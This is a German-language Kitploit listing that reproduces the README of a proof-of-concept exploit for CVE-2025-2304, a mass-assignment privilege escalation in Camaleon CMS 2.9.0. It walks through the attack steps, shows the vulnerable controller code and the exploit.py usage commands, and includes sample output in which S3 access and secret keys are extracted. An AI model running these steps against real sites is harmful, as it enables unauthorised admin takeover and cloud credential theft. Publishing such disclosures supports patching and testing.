Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-2304 — Authentifizierte Privilegieneskalation in Camaleon CMS v2.9.0 durch unsachgemäße Parameterbehandlung im updated_ajax-Endpunkt. | Kitploit
Tools/GitHubGitHub/alien0ne/cve-2025-2304
Privilege EscalationPasswortangriffeSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubalien0ne/cve-2025-2304

CVE-2025-2304

Authentifizierte Privilegieneskalation in Camaleon CMS v2.9.0 durch unsachgemäße Parameterbehandlung im updated_ajax-Endpunkt.

Repository anzeigen
1932vor 7 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Camaleon CMS 2.9.0 – Authentifizierte Privilegienerweiterung (Rollenänderung) + optionaler S3-Konfigurationsleck

Ziel: Camaleon CMS v2.9.0
Typ: Authentifizierte Privilegienerweiterung durch Massenzuweisung in updated_ajax (Rollenfeld)
Extras: Optionale Extraktion der S3-Konfiguration von der Admin-Einstellungsseite (falls der authentifizierte Benutzer nach der Eskalation darauf zugreifen kann)

Übersicht

Dieses Repository enthält ein Python Proof-of-Concept-Skript, das:

  1. Sich mit gültigen Anmeldedaten im Camaleon CMS Admin-Panel anmeldet.
  2. Ein CSRF-Token von /admin/profile/edit abruft.
  3. Den updated_ajax-Endpunkt aufruft, um password[...]-Felder zu aktualisieren und permit! zu missbrauchen, um password[role]=admin zu setzen.
  4. Optional (-e) S3-Konfigurationswerte von /admin/settings/site extrahiert.
  5. Optional (-r) die Rolle nach dem Lauf auf den ursprünglichen Wert zurücksetzt.

Dieses Verhalten entspricht dem unsicheren Massenzuweisungsmuster, das in der zugehörigen Beratung beschrieben wird:

  • Tenable Research Advisory: TRA-2025-09

Ursache (Was ist anfällig)

Die folgende Controller-Aktion aktualisiert einen Benutzer mit permit!:

root@kitploit:~
def updated_ajax
  @user = current_site.users.find(params[:user_id])
  update_session = current_user_is?(@user)

  @user.update(params.require(:password).permit!)
  render inline: @user.errors.full_messages.join(', ')

  # keep user logged in when changing their own password
  update_auth_token_in_cookie @user.auth_token if update_session && @user.saved_change_to_password_digest?
end

Da permit! alle Schlüssel unter password erlaubt, kann ein Angreifer senden:

  • password[password]
  • password[password_confirmation]
  • password[role]=admin

und die Anwendung akzeptiert es und stuft die Rolle des Benutzers hoch.

Auswirkungen

  • Jeder authentifizierte Benutzer, der die anfällige Route erreichen kann, kann potenziell Privilegien erweitern, indem er seine Rolle auf admin setzt.
  • Nach der Eskalation können nur für Administratoren zugängliche Seiten (wie Site-Einstellungen) zugänglich werden, was potenziell sensible Konfigurationswerte (z. B. S3-Schlüssel) preisgeben kann.

Voraussetzungen

  • Python 3.8+
  • requests

Abhängigkeit installieren:

root@kitploit:~
pip install requests

Verwendung

Grundlegende Privilegienerweiterung (authentifiziert)

root@kitploit:~
python exploit.py -u http://alienone.in -U test -P test

Eskalieren + S3-Konfiguration extrahieren (-e)

root@kitploit:~
python exploit.py -u http://alienone.in -U test -P test -e

Eskalieren + Rolle zurücksetzen (-r)

root@kitploit:~
python exploit.py -u http://alienone.in -U test -P test -r

Eskalieren + extrahieren + zurücksetzen

root@kitploit:~
python exploit.py -u http://alienone.in -U test -P test -e -r

Argumente

Beispielausführung

root@kitploit:~
python3 exploit.py -u http://alienone.in -U test -P test -e -r

Beispielausgabe

root@kitploit:~
[+]Camaleon CMS Version 2.9.0 PRIVILEGE ESCALATION (Authenticated)
[+]Login confirmed
   User ID: 5
   Current User Role: client
[+]Loading PPRIVILEGE ESCALATION
   User ID: 5
   Updated User Role: admin
[+]Extracting S3 Credentials
   s3 access key: AKIAF3A388ECF117D966
   s3 secret key: VRRVL5fePgqtow/1Xw65TL9iA2DXtj258BkH33Ux
   s3 endpoint: http://localhost:54321
[+]Reverting User Role
   User ID: 5
   User Role: client

Wie das PoC den Login bestätigt

Das Skript überprüft das zurückgegebene HTML auf einen /admin/logout-Link nach dem Login-POST.
Wenn der Logout-Link vorhanden ist, gilt die Sitzung als authentifiziert.

Hinweise zu CSRF-Tokens

Camaleon verwendet Rails-artiges CSRF. Tokens finden Sie typischerweise an zwei häufigen Stellen:

  • Hidden input in forms: name="authenticity_token" value="..."
  • Meta tag: <meta name="csrf-token" content="...">

Das PoC ruft das Meta-CSRF-Token von /admin/profile/edit ab und verwendet es in:

  • Request body: authenticity_token=<token>
  • Header: X-CSRF-Token: <token>

Haftungsausschluss

Dieser Code wird nur für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt (z.B. Labs, CTFs und Umgebungen, in denen Sie ausdrückliche Genehmigung haben).
Verwenden Sie ihn nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine Testberechtigung haben.


Referenzen

  • https://nvd.nist.gov/vuln/detail/CVE-2025-2304
  • https://www.tenable.com/security/research/tra-2025-09
  • owen2345/camaleon-cms#1109
  • owen2345/camaleon-cms@179fd6b
  • https://github.com/owen2345/camaleon-cms/releases/tag/2.9.0
  • https://github.com/rubysec/ruby-advisory-db/blob/master/gems/camaleon_cms/CVE-2025-2304.yml
Tool herunterladen
FlagBeschreibung
-u, --urlBasis-URL (z.B. http://alienone.in)
-U, --usernameGültiger Benutzername
-P, --passwordGültiges Passwort
--newpassPasswortwert, der in der Aktualisierungsanfrage gesendet wird (Standard: test)
-e, --extractS3-Konfiguration von der Einstellungsseite extrahieren
-r, --revertRolle nach der Eskalation auf die ursprüngliche Rolle zurücksetzen